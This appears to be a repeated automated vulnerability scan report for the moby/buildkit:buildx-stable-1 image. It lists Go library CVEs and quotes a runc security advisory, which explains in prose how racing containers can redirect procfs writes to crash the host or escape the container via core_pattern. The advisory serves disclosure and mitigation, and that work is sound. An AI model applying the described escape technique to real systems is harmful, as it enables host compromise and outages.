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Tag	Details	Pushed	Vulnerabilities
3.21 Tag is preferred tag Also known as: 3.21.5	Benefits: Image is smaller by 156 KB Minor OS version update Image contains 1 fewer package Tag is preferred tag Tag was pushed more recently Image has same number of vulnerabilities Image details: Size: 3.6 MB OS: 3.21.5	1 month ago

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Outdated

🔍 Vulnerabilities of moby/buildkit:buildx-stable-1

📦 Image Reference moby/buildkit:buildx-stable-1

digest	sha256:fe0990fb85c4586aaa94e599905b75a2676664f065f29bea67ebcd5b2fe88acb
vulnerabilities
platform	linux/amd64
size	111 MB
packages	251

📦 Base Image alpine:3

also known as	3.22 3.22.2 af829cb99e2e0ed9843029ba4b20af63bf652e3f57b9aaa049744a8b64d7c608 latest
digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
vulnerabilities

stdlib 1.25.0 (golang) pkg:golang/stdlib@1.25.0 Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The ParseAddress function constructeds domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.033% EPSS Percentile 5th percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range >=1.25.0 <1.25.3 Fixed version 1.25.3 EPSS Score 0.033% EPSS Percentile 5th percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scals non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

golang.org/x/crypto 0.42.0 (golang) pkg:golang/golang.org/x/crypto@0.42.0 Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.055% EPSS Percentile 13th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

github.com/opencontainers/selinux 1.12.0 (golang) pkg:golang/github.com/opencontainers/selinux@1.12.0 Race Condition Enabling Link Following Affected range <=1.12.0 Fixed version 1.13.0 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H EPSS Score 0.018% EPSS Percentile 2nd percentile Description Impact This attack is primarily a more sophisticated version of CVE-2019-19921, which was a flaw which allowed an attacker to trick runc into writing the LSM process labels for a container process into a dummy tmpfs file and thus not apply the correct LSM labels to the container process. The mitigation runc applied for CVE-2019-19921 was fairly limited and effectively only caused runc to verify that when runc writes LSM labels that those labels are actual procfs files. Rather than using a fake tmpfs file for /proc/self/attr/<label>, an attacker could instead (through various means) make /proc/self/attr/<label> reference a real procfs file, but one that would still be a no-op (such as /proc/self/sched). This would have the same effect but would clear the "is a procfs file" check. Runc is aware that this kind of attack would be possible (even going so far as to discuss this publicly as "future work" at conferences), and runc is working on a far more comprehensive mitigation of this attack, but this security issue was disclosed before runc could complete this work. In all known versions of runc, an attacker can trick runc into misdirecting writes to /proc to other procfs files through the use of a racing container with shared mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with docker buildx build as that also permits triggering parallel execution of containers with custom shared mounts configured). This redirect could be through symbolic links in a tmpfs or theoretically other methods such as regular bind-mounts. Note that while /proc/self/attr/<label> was the example used above (which is LSM-specific), this issue affect all writes to /proc in runc and thus also affects sysctls (written to /proc/sys/...) and some other APIs. Additional Impacts While investigating this issue, runc discovered that another risk with these redirected writes is that they could be redirected to dangerous files such as /proc/sysrq-trigger rather than just no-op files like /proc/self/sched. For instance, the default AppArmor profile name in Docker is docker-default, which when written to /proc/sysrq-trigger would cause the host system to crash. When this was discovered, runc conducted an audit of other write operations within runc and found several possible areas where runc could be used as a semi-arbitrary write gadget when combined with the above race attacks. The most concerning attack scenario was the configuration of sysctls. Because the contents of the sysctl are free-form text, an attacker could use a misdirected write to write to /proc/sys/kernel/core_pattern and break out of the container (as described in CVE-2025-31133, kernel upcalls are not namespaced and so coredump helpers will run with complete root privileges on the host). Even if the attacker cannot configure custom sysctls, a valid sysctl string (when redirected to /proc/sysrq-trigger) can easily cause the machine to hang. Note that the fact that this attack allows you to disable LSM labels makes it a very useful attack to combine with CVE-2025-31133 (as one of the only mitigations available to most users for that issue is AppArmor, and this attack would let you bypass that). However, the misdirected write issue above means that you could also achieve most of the same goals without needing to chain together attacks. Patches This advisory is being published as part of a set of three advisories: CVE-2025-31133 CVE-2025-52881 CVE-2025-52565 The patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory: db19bbed5348 ("internal/sys: add VerifyInode helper") 6fc191449109 ("internal: move utils.MkdirAllInRoot to internal/pathrs") ff94f9991bd3 ("*: switch to safer securejoin.Reopen") 44a0fcf685db ("go.mod: update to github.com/cyphar/filepath-securejoin@v0.5.0") 77889b56db93 ("internal: add wrappers for securejoin.Proc*") fdcc9d3cad2f ("apparmor: use safe procfs API for labels") ff6fe1324663 ("utils: use safe procfs for /proc/self/fd loop code") b3dd1bc562ed ("utils: remove unneeded EnsureProcHandle") 77d217c7c377 ("init: write sysctls using safe procfs API") 435cc81be6b7 ("init: use securejoin for /proc/self/setgroups") d61fd29d854b ("libct/system: use securejoin for /proc/$pid/stat") 4b37cd93f86e ("libct: align param type for mountCgroupV1/V2 functions") d40b3439a961 ("rootfs: switch to fd-based handling of mountpoint targets") ed6b1693b8b3 ("selinux: use safe procfs API for labels") Please note that this patch includes a private patch for github.com/opencontainers/selinux that could not be made public through a public pull request (as it would necessarily disclose this embargoed security issue). The patch includes a complete copy of the forked code and a replace directive (as well as go mod vendor applied), which should still work with downstream build systems. If you cannot apply this patch, you can safely drop it -- some of the other patches in this series should block these kinds of racing mount attacks entirely. See selinux: migrate to pathrs-lite procfs API opencontainers/selinux#237 for the upstream patch. 3f925525b44d ("rootfs: re-allow dangling symlinks in mount targets") a41366e74080 ("openat2: improve resilience on busy systems") runc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per runc's new release model, runc 1.1.x and earlier are no longer supported and thus have not been patched. Mitigations Do not run untrusted container images from unknown or unverified sources. For the basic no-op attack, this attack allows a container process to run with the same LSM labels as runc. For most AppArmor deployments this means it will be unconfined, and for SELinux it will likely be container_runtime_t. Runc has not conducted in-depth testing of the impact on SELinux -- it is possible that it provides some reasonable protection but it seems likely that an attacker could cause harm to systems even with such an SELinux setup. For the more involved redirect and write gadget attacks, unfortunately most LSM profiles (including the standard container-selinux profiles) provide the container runtime access to sysctl files (including /proc/sysrq-trigger) and so LSMs likely do not provide much protection against these attacks. Using rootless containers provides some protection against these kinds of bugs (privileged writes in runc being redirected) -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc. For this particular bug, the privilege escalation caused by the inadvertent write issue is entirely mitigated with rootless containers because the unprivileged user that the runc process is executing as cannot write to the aforementioned procfs files (even intentionally). Other Runtimes As this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability. Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a co-ordinated security release along with runc. LXC appears to use the host's /proc for all procfs operations, and so is likely not vulnerable to this issue (this is a trade-off -- runc uses the container's procfs to avoid CVE-2016-9962-style attacks). Credits Thanks to Li Fubang (@lifubang from acmcoder.com, CIIC) and Tõnis Tiigi (@tonistiigi from Docker) for both independently discovering this vulnerability, as well as Aleksa Sarai (@cyphar from SUSE) for the original research into this class of security issues and solutions. Additional thanks go to Tõnis Tiigi for finding some very useful exploit templates for these kinds of race attacks using docker buildx build.

[github-actions]

Outdated

🔍 Vulnerabilities of moby/buildkit:buildx-stable-1

📦 Image Reference moby/buildkit:buildx-stable-1

digest	sha256:fe0990fb85c4586aaa94e599905b75a2676664f065f29bea67ebcd5b2fe88acb
vulnerabilities
platform	linux/amd64
size	111 MB
packages	251

📦 Base Image alpine:3

also known as	3.22 3.22.2 af829cb99e2e0ed9843029ba4b20af63bf652e3f57b9aaa049744a8b64d7c608 latest
digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
vulnerabilities

stdlib 1.25.0 (golang) pkg:golang/stdlib@1.25.0 Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The ParseAddress function constructeds domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.033% EPSS Percentile 5th percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range >=1.25.0 <1.25.3 Fixed version 1.25.3 EPSS Score 0.033% EPSS Percentile 5th percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scals non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

golang.org/x/crypto 0.42.0 (golang) pkg:golang/golang.org/x/crypto@0.42.0 Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.055% EPSS Percentile 13th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

github.com/opencontainers/selinux 1.12.0 (golang) pkg:golang/github.com/opencontainers/selinux@1.12.0 Race Condition Enabling Link Following Affected range <=1.12.0 Fixed version 1.13.0 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H EPSS Score 0.018% EPSS Percentile 2nd percentile Description Impact This attack is primarily a more sophisticated version of CVE-2019-19921, which was a flaw which allowed an attacker to trick runc into writing the LSM process labels for a container process into a dummy tmpfs file and thus not apply the correct LSM labels to the container process. The mitigation runc applied for CVE-2019-19921 was fairly limited and effectively only caused runc to verify that when runc writes LSM labels that those labels are actual procfs files. Rather than using a fake tmpfs file for /proc/self/attr/<label>, an attacker could instead (through various means) make /proc/self/attr/<label> reference a real procfs file, but one that would still be a no-op (such as /proc/self/sched). This would have the same effect but would clear the "is a procfs file" check. Runc is aware that this kind of attack would be possible (even going so far as to discuss this publicly as "future work" at conferences), and runc is working on a far more comprehensive mitigation of this attack, but this security issue was disclosed before runc could complete this work. In all known versions of runc, an attacker can trick runc into misdirecting writes to /proc to other procfs files through the use of a racing container with shared mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with docker buildx build as that also permits triggering parallel execution of containers with custom shared mounts configured). This redirect could be through symbolic links in a tmpfs or theoretically other methods such as regular bind-mounts. Note that while /proc/self/attr/<label> was the example used above (which is LSM-specific), this issue affect all writes to /proc in runc and thus also affects sysctls (written to /proc/sys/...) and some other APIs. Additional Impacts While investigating this issue, runc discovered that another risk with these redirected writes is that they could be redirected to dangerous files such as /proc/sysrq-trigger rather than just no-op files like /proc/self/sched. For instance, the default AppArmor profile name in Docker is docker-default, which when written to /proc/sysrq-trigger would cause the host system to crash. When this was discovered, runc conducted an audit of other write operations within runc and found several possible areas where runc could be used as a semi-arbitrary write gadget when combined with the above race attacks. The most concerning attack scenario was the configuration of sysctls. Because the contents of the sysctl are free-form text, an attacker could use a misdirected write to write to /proc/sys/kernel/core_pattern and break out of the container (as described in CVE-2025-31133, kernel upcalls are not namespaced and so coredump helpers will run with complete root privileges on the host). Even if the attacker cannot configure custom sysctls, a valid sysctl string (when redirected to /proc/sysrq-trigger) can easily cause the machine to hang. Note that the fact that this attack allows you to disable LSM labels makes it a very useful attack to combine with CVE-2025-31133 (as one of the only mitigations available to most users for that issue is AppArmor, and this attack would let you bypass that). However, the misdirected write issue above means that you could also achieve most of the same goals without needing to chain together attacks. Patches This advisory is being published as part of a set of three advisories: CVE-2025-31133 CVE-2025-52881 CVE-2025-52565 The patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory: db19bbed5348 ("internal/sys: add VerifyInode helper") 6fc191449109 ("internal: move utils.MkdirAllInRoot to internal/pathrs") ff94f9991bd3 ("*: switch to safer securejoin.Reopen") 44a0fcf685db ("go.mod: update to github.com/cyphar/filepath-securejoin@v0.5.0") 77889b56db93 ("internal: add wrappers for securejoin.Proc*") fdcc9d3cad2f ("apparmor: use safe procfs API for labels") ff6fe1324663 ("utils: use safe procfs for /proc/self/fd loop code") b3dd1bc562ed ("utils: remove unneeded EnsureProcHandle") 77d217c7c377 ("init: write sysctls using safe procfs API") 435cc81be6b7 ("init: use securejoin for /proc/self/setgroups") d61fd29d854b ("libct/system: use securejoin for /proc/$pid/stat") 4b37cd93f86e ("libct: align param type for mountCgroupV1/V2 functions") d40b3439a961 ("rootfs: switch to fd-based handling of mountpoint targets") ed6b1693b8b3 ("selinux: use safe procfs API for labels") Please note that this patch includes a private patch for github.com/opencontainers/selinux that could not be made public through a public pull request (as it would necessarily disclose this embargoed security issue). The patch includes a complete copy of the forked code and a replace directive (as well as go mod vendor applied), which should still work with downstream build systems. If you cannot apply this patch, you can safely drop it -- some of the other patches in this series should block these kinds of racing mount attacks entirely. See selinux: migrate to pathrs-lite procfs API opencontainers/selinux#237 for the upstream patch. 3f925525b44d ("rootfs: re-allow dangling symlinks in mount targets") a41366e74080 ("openat2: improve resilience on busy systems") runc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per runc's new release model, runc 1.1.x and earlier are no longer supported and thus have not been patched. Mitigations Do not run untrusted container images from unknown or unverified sources. For the basic no-op attack, this attack allows a container process to run with the same LSM labels as runc. For most AppArmor deployments this means it will be unconfined, and for SELinux it will likely be container_runtime_t. Runc has not conducted in-depth testing of the impact on SELinux -- it is possible that it provides some reasonable protection but it seems likely that an attacker could cause harm to systems even with such an SELinux setup. For the more involved redirect and write gadget attacks, unfortunately most LSM profiles (including the standard container-selinux profiles) provide the container runtime access to sysctl files (including /proc/sysrq-trigger) and so LSMs likely do not provide much protection against these attacks. Using rootless containers provides some protection against these kinds of bugs (privileged writes in runc being redirected) -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc. For this particular bug, the privilege escalation caused by the inadvertent write issue is entirely mitigated with rootless containers because the unprivileged user that the runc process is executing as cannot write to the aforementioned procfs files (even intentionally). Other Runtimes As this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability. Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a co-ordinated security release along with runc. LXC appears to use the host's /proc for all procfs operations, and so is likely not vulnerable to this issue (this is a trade-off -- runc uses the container's procfs to avoid CVE-2016-9962-style attacks). Credits Thanks to Li Fubang (@lifubang from acmcoder.com, CIIC) and Tõnis Tiigi (@tonistiigi from Docker) for both independently discovering this vulnerability, as well as Aleksa Sarai (@cyphar from SUSE) for the original research into this class of security issues and solutions. Additional thanks go to Tõnis Tiigi for finding some very useful exploit templates for these kinds of race attacks using docker buildx build.

[github-actions]

Outdated

🔍 Vulnerabilities of moby/buildkit:buildx-stable-1

📦 Image Reference moby/buildkit:buildx-stable-1

digest	sha256:fe0990fb85c4586aaa94e599905b75a2676664f065f29bea67ebcd5b2fe88acb
vulnerabilities
platform	linux/amd64
size	111 MB
packages	251

📦 Base Image alpine:3

also known as	3.22 3.22.2 af829cb99e2e0ed9843029ba4b20af63bf652e3f57b9aaa049744a8b64d7c608 latest
digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
vulnerabilities

stdlib 1.25.0 (golang) pkg:golang/stdlib@1.25.0 Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The ParseAddress function constructeds domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.033% EPSS Percentile 5th percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range >=1.25.0 <1.25.3 Fixed version 1.25.3 EPSS Score 0.033% EPSS Percentile 5th percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scals non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

github.com/opencontainers/selinux 1.12.0 (golang) pkg:golang/github.com/opencontainers/selinux@1.12.0 Race Condition Enabling Link Following Affected range <=1.12.0 Fixed version 1.13.0 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H EPSS Score 0.018% EPSS Percentile 2nd percentile Description Impact This attack is primarily a more sophisticated version of CVE-2019-19921, which was a flaw which allowed an attacker to trick runc into writing the LSM process labels for a container process into a dummy tmpfs file and thus not apply the correct LSM labels to the container process. The mitigation runc applied for CVE-2019-19921 was fairly limited and effectively only caused runc to verify that when runc writes LSM labels that those labels are actual procfs files. Rather than using a fake tmpfs file for /proc/self/attr/<label>, an attacker could instead (through various means) make /proc/self/attr/<label> reference a real procfs file, but one that would still be a no-op (such as /proc/self/sched). This would have the same effect but would clear the "is a procfs file" check. Runc is aware that this kind of attack would be possible (even going so far as to discuss this publicly as "future work" at conferences), and runc is working on a far more comprehensive mitigation of this attack, but this security issue was disclosed before runc could complete this work. In all known versions of runc, an attacker can trick runc into misdirecting writes to /proc to other procfs files through the use of a racing container with shared mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with docker buildx build as that also permits triggering parallel execution of containers with custom shared mounts configured). This redirect could be through symbolic links in a tmpfs or theoretically other methods such as regular bind-mounts. Note that while /proc/self/attr/<label> was the example used above (which is LSM-specific), this issue affect all writes to /proc in runc and thus also affects sysctls (written to /proc/sys/...) and some other APIs. Additional Impacts While investigating this issue, runc discovered that another risk with these redirected writes is that they could be redirected to dangerous files such as /proc/sysrq-trigger rather than just no-op files like /proc/self/sched. For instance, the default AppArmor profile name in Docker is docker-default, which when written to /proc/sysrq-trigger would cause the host system to crash. When this was discovered, runc conducted an audit of other write operations within runc and found several possible areas where runc could be used as a semi-arbitrary write gadget when combined with the above race attacks. The most concerning attack scenario was the configuration of sysctls. Because the contents of the sysctl are free-form text, an attacker could use a misdirected write to write to /proc/sys/kernel/core_pattern and break out of the container (as described in CVE-2025-31133, kernel upcalls are not namespaced and so coredump helpers will run with complete root privileges on the host). Even if the attacker cannot configure custom sysctls, a valid sysctl string (when redirected to /proc/sysrq-trigger) can easily cause the machine to hang. Note that the fact that this attack allows you to disable LSM labels makes it a very useful attack to combine with CVE-2025-31133 (as one of the only mitigations available to most users for that issue is AppArmor, and this attack would let you bypass that). However, the misdirected write issue above means that you could also achieve most of the same goals without needing to chain together attacks. Patches This advisory is being published as part of a set of three advisories: CVE-2025-31133 CVE-2025-52881 CVE-2025-52565 The patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory: db19bbed5348 ("internal/sys: add VerifyInode helper") 6fc191449109 ("internal: move utils.MkdirAllInRoot to internal/pathrs") ff94f9991bd3 ("*: switch to safer securejoin.Reopen") 44a0fcf685db ("go.mod: update to github.com/cyphar/filepath-securejoin@v0.5.0") 77889b56db93 ("internal: add wrappers for securejoin.Proc*") fdcc9d3cad2f ("apparmor: use safe procfs API for labels") ff6fe1324663 ("utils: use safe procfs for /proc/self/fd loop code") b3dd1bc562ed ("utils: remove unneeded EnsureProcHandle") 77d217c7c377 ("init: write sysctls using safe procfs API") 435cc81be6b7 ("init: use securejoin for /proc/self/setgroups") d61fd29d854b ("libct/system: use securejoin for /proc/$pid/stat") 4b37cd93f86e ("libct: align param type for mountCgroupV1/V2 functions") d40b3439a961 ("rootfs: switch to fd-based handling of mountpoint targets") ed6b1693b8b3 ("selinux: use safe procfs API for labels") Please note that this patch includes a private patch for github.com/opencontainers/selinux that could not be made public through a public pull request (as it would necessarily disclose this embargoed security issue). The patch includes a complete copy of the forked code and a replace directive (as well as go mod vendor applied), which should still work with downstream build systems. If you cannot apply this patch, you can safely drop it -- some of the other patches in this series should block these kinds of racing mount attacks entirely. See selinux: migrate to pathrs-lite procfs API opencontainers/selinux#237 for the upstream patch. 3f925525b44d ("rootfs: re-allow dangling symlinks in mount targets") a41366e74080 ("openat2: improve resilience on busy systems") runc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per runc's new release model, runc 1.1.x and earlier are no longer supported and thus have not been patched. Mitigations Do not run untrusted container images from unknown or unverified sources. For the basic no-op attack, this attack allows a container process to run with the same LSM labels as runc. For most AppArmor deployments this means it will be unconfined, and for SELinux it will likely be container_runtime_t. Runc has not conducted in-depth testing of the impact on SELinux -- it is possible that it provides some reasonable protection but it seems likely that an attacker could cause harm to systems even with such an SELinux setup. For the more involved redirect and write gadget attacks, unfortunately most LSM profiles (including the standard container-selinux profiles) provide the container runtime access to sysctl files (including /proc/sysrq-trigger) and so LSMs likely do not provide much protection against these attacks. Using rootless containers provides some protection against these kinds of bugs (privileged writes in runc being redirected) -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc. For this particular bug, the privilege escalation caused by the inadvertent write issue is entirely mitigated with rootless containers because the unprivileged user that the runc process is executing as cannot write to the aforementioned procfs files (even intentionally). Other Runtimes As this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability. Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a co-ordinated security release along with runc. LXC appears to use the host's /proc for all procfs operations, and so is likely not vulnerable to this issue (this is a trade-off -- runc uses the container's procfs to avoid CVE-2016-9962-style attacks). Credits Thanks to Li Fubang (@lifubang from acmcoder.com, CIIC) and Tõnis Tiigi (@tonistiigi from Docker) for both independently discovering this vulnerability, as well as Aleksa Sarai (@cyphar from SUSE) for the original research into this class of security issues and solutions. Additional thanks go to Tõnis Tiigi for finding some very useful exploit templates for these kinds of race attacks using docker buildx build.

golang.org/x/crypto 0.42.0 (golang) pkg:golang/golang.org/x/crypto@0.42.0 Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.055% EPSS Percentile 13th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

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Recommended fixes for image moby/buildkit:buildx-stable-1

Base image is alpine:3

Name	3.22.2
Digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
Vulnerabilities
Pushed	1 month ago
Size	3.8 MB
Packages	20
OS	3.22.2

The base image is also available under the supported tag(s): 3.22, 3.22.2, latest

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Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

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Tag	Details	Pushed	Vulnerabilities
3.21 Tag is preferred tag Also known as: 3.21.5	Benefits: Image is smaller by 156 KB Minor OS version update Image contains 1 fewer package Tag is preferred tag Tag was pushed more recently Image has same number of vulnerabilities Image details: Size: 3.6 MB OS: 3.21.5	1 month ago

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Recommended fixes for image moby/buildkit:buildx-stable-1

Base image is alpine:3

Name	3.22.2
Digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
Vulnerabilities
Pushed	1 month ago
Size	3.8 MB
Packages	20
OS	3.22.2

The base image is also available under the supported tag(s): 3.22, 3.22.2, latest

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

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Tag	Details	Pushed	Vulnerabilities
3.21 Tag is preferred tag Also known as: 3.21.5	Benefits: Image is smaller by 156 KB Minor OS version update Image contains 1 fewer package Tag is preferred tag Tag was pushed more recently Image has same number of vulnerabilities Image details: Size: 3.6 MB OS: 3.21.5	1 month ago

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Recommended fixes for image moby/buildkit:buildx-stable-1

Base image is alpine:3

Name	3.22.2
Digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
Vulnerabilities
Pushed	1 month ago
Size	3.8 MB
Packages	20
OS	3.22.2

The base image is also available under the supported tag(s): 3.22, 3.22.2, latest

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

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Tag	Details	Pushed	Vulnerabilities
3.21 Tag is preferred tag Also known as: 3.21.5	Benefits: Image is smaller by 156 KB Minor OS version update Image contains 1 fewer package Tag is preferred tag Tag was pushed more recently Image has same number of vulnerabilities Image details: Size: 3.6 MB OS: 3.21.5	1 month ago

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Outdated

🔍 Vulnerabilities of moby/buildkit:buildx-stable-1

📦 Image Reference moby/buildkit:buildx-stable-1

digest	sha256:fe0990fb85c4586aaa94e599905b75a2676664f065f29bea67ebcd5b2fe88acb
vulnerabilities
platform	linux/amd64
size	111 MB
packages	251

📦 Base Image alpine:3

also known as	3.22 3.22.2 af829cb99e2e0ed9843029ba4b20af63bf652e3f57b9aaa049744a8b64d7c608 latest
digest	sha256:85f2b723e106c34644cd5851d7e81ee87da98ac54672b29947c052a45d31dc2f
vulnerabilities

stdlib 1.25.0 (golang) pkg:golang/stdlib@1.25.0 Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The ParseAddress function constructeds domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.075% EPSS Percentile 19th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range >=1.25.0 <1.25.2 Fixed version 1.25.2 EPSS Score 0.033% EPSS Percentile 5th percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range >=1.25.0 <1.25.3 Fixed version 1.25.3 EPSS Score 0.033% EPSS Percentile 5th percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scals non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

golang.org/x/crypto 0.42.0 (golang) pkg:golang/golang.org/x/crypto@0.42.0 Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.055% EPSS Percentile 13th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

github.com/opencontainers/selinux 1.12.0 (golang) pkg:golang/github.com/opencontainers/selinux@1.12.0 Race Condition Enabling Link Following Affected range <=1.12.0 Fixed version 1.13.0 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H EPSS Score 0.018% EPSS Percentile 2nd percentile Description Impact This attack is primarily a more sophisticated version of CVE-2019-19921, which was a flaw which allowed an attacker to trick runc into writing the LSM process labels for a container process into a dummy tmpfs file and thus not apply the correct LSM labels to the container process. The mitigation runc applied for CVE-2019-19921 was fairly limited and effectively only caused runc to verify that when runc writes LSM labels that those labels are actual procfs files. Rather than using a fake tmpfs file for /proc/self/attr/<label>, an attacker could instead (through various means) make /proc/self/attr/<label> reference a real procfs file, but one that would still be a no-op (such as /proc/self/sched). This would have the same effect but would clear the "is a procfs file" check. Runc is aware that this kind of attack would be possible (even going so far as to discuss this publicly as "future work" at conferences), and runc is working on a far more comprehensive mitigation of this attack, but this security issue was disclosed before runc could complete this work. In all known versions of runc, an attacker can trick runc into misdirecting writes to /proc to other procfs files through the use of a racing container with shared mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with docker buildx build as that also permits triggering parallel execution of containers with custom shared mounts configured). This redirect could be through symbolic links in a tmpfs or theoretically other methods such as regular bind-mounts. Note that while /proc/self/attr/<label> was the example used above (which is LSM-specific), this issue affect all writes to /proc in runc and thus also affects sysctls (written to /proc/sys/...) and some other APIs. Additional Impacts While investigating this issue, runc discovered that another risk with these redirected writes is that they could be redirected to dangerous files such as /proc/sysrq-trigger rather than just no-op files like /proc/self/sched. For instance, the default AppArmor profile name in Docker is docker-default, which when written to /proc/sysrq-trigger would cause the host system to crash. When this was discovered, runc conducted an audit of other write operations within runc and found several possible areas where runc could be used as a semi-arbitrary write gadget when combined with the above race attacks. The most concerning attack scenario was the configuration of sysctls. Because the contents of the sysctl are free-form text, an attacker could use a misdirected write to write to /proc/sys/kernel/core_pattern and break out of the container (as described in CVE-2025-31133, kernel upcalls are not namespaced and so coredump helpers will run with complete root privileges on the host). Even if the attacker cannot configure custom sysctls, a valid sysctl string (when redirected to /proc/sysrq-trigger) can easily cause the machine to hang. Note that the fact that this attack allows you to disable LSM labels makes it a very useful attack to combine with CVE-2025-31133 (as one of the only mitigations available to most users for that issue is AppArmor, and this attack would let you bypass that). However, the misdirected write issue above means that you could also achieve most of the same goals without needing to chain together attacks. Patches This advisory is being published as part of a set of three advisories: CVE-2025-31133 CVE-2025-52881 CVE-2025-52565 The patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory: db19bbed5348 ("internal/sys: add VerifyInode helper") 6fc191449109 ("internal: move 